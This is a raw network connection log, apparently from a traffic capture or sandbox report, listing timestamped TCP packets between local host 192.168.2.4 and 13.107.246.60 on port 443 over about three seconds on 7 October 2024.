Oct 7, 2024 03:04:27.855169058 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.855283022 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.855516911 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.855550051 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.287862062 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.288387060 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.288465977 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.289479971 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.289495945 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.323100090 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.331151962 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.331238985 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.331758976 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.331778049 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.350080967 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.350619078 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.350681067 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.350958109 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.350971937 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.370928049 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.371380091 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.371464968 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.371587038 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.371603012 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.390196085 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.390620947 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.390717983 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.390718937 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.390798092 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.390836000 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.393404007 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.393435001 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.393512964 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.393686056 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.393697023 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429007053 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429080963 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429147005 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.429197073 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429230928 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429263115 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.429263115 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.429306030 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.429338932 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.429354906 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.431730986 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.431776047 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.431850910 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.432004929 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.432025909 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.452127934 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.452263117 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.452346087 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.452434063 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.452434063 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.452477932 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.452506065 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.455368042 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.455409050 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.455481052 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.455617905 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.455637932 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.469537973 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.469686031 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.469839096 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.469881058 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.469881058 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.469899893 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.469913960 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.472213984 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.472238064 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.472292900 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.472407103 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.472415924 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.506170034 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.506633997 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.506692886 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.507061958 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.507074118 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.605820894 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.605982065 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.606061935 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.606232882 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.606293917 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.606342077 CEST	49963	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.606358051 CEST	443	49963	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.608962059 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.609039068 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:28.609124899 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.609327078 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:28.609358072 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.070660114 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.071201086 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.071221113 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.071672916 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.071677923 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.072994947 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.073395967 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.073434114 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.073952913 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.073960066 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.091825008 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.092201948 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.092212915 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.092648983 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.092655897 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.118794918 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.119143963 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.119153976 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.119631052 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.119641066 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.178458929 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.178654909 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.178824902 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.178824902 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.178824902 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.181375027 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.181464911 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.181549072 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.181665897 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.181701899 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.185771942 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.185878992 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.185928106 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.185941935 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.186007977 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.186016083 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.186043978 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.186058044 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.186069012 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.186074972 CEST	49964	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.186078072 CEST	443	49964	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.188383102 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.188406944 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.188489914 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.188631058 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.188657999 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.192617893 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.192842007 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.192889929 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.192939043 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.192961931 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.192976952 CEST	49966	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.192984104 CEST	443	49966	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.195226908 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.195276022 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.195346117 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.195466042 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.195482969 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.217823982 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.217998981 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.218061924 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.218084097 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.218094110 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.218103886 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.218107939 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.220278978 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.220357895 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.220436096 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.220581055 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.220618010 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.254753113 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.255198956 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.255218983 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.255789995 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.255795956 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.358454943 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.358752966 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.358835936 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.358874083 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.358902931 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.358947992 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.358961105 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.366555929 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.366586924 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.366666079 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.366832018 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.366847992 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.489767075 CEST	49965	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.489789009 CEST	443	49965	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.822155952 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.822829008 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.822889090 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.823288918 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.823343992 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.841285944 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.841695070 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.841717005 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.842108011 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.842113018 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.846591949 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.847011089 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.847069025 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.847523928 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.847538948 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.885952950 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.886383057 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.886424065 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.886878014 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.886894941 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.920831919 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.920989990 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.921065092 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.921164989 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.921186924 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.921200991 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.921209097 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.924062967 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.924105883 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.924197912 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.924376965 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.924386978 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.956762075 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.956816912 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.956864119 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.956974983 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.956995010 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.957007885 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.957015038 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.959325075 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.959409952 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.959491014 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.959661007 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.959675074 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.969435930 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.969580889 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.969649076 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.969691038 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.969691038 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.969712019 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.969733000 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.971649885 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.971692085 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.971769094 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.971923113 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.971942902 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998019934 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998079062 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998145103 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.998167992 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998199940 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998251915 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.998323917 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.998349905 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:29.998374939 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:29.998388052 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.000601053 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.000638962 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.000710011 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.000860929 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.000874043 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.015305996 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.015702009 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.015714884 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.016259909 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.016267061 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.116450071 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.116607904 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.116660118 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.116976976 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.117005110 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.117023945 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.117031097 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.121273041 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.121300936 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.121357918 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.121509075 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.121511936 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.613863945 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.614471912 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.614506006 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.615030050 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.615037918 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.625596046 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.625891924 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.625921011 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.626276016 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.626285076 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.627264023 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.627505064 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.627543926 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.627804995 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.627810955 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.695677996 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.696208954 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.696227074 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.696650028 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.696655989 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.717855930 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.717933893 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.718041897 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.718038082 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.718101978 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.718244076 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.718244076 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.718288898 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.718317032 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.723123074 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.723156929 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.723248005 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.723428011 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.723440886 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.726875067 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.726947069 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.727003098 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.727011919 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.727047920 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.727093935 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.727159023 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.727168083 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.727197886 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.727204084 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.728291035 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.728451014 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.728527069 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.728590012 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.728590012 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.728627920 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.728652954 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.733835936 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.733896017 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.733994007 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.734127045 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.734153032 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.734808922 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.734879971 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.734960079 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.735099077 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.735121012 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.795646906 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.796124935 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.796185017 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.796230078 CEST	49977	443	192.168.2.4	13.107.246.60
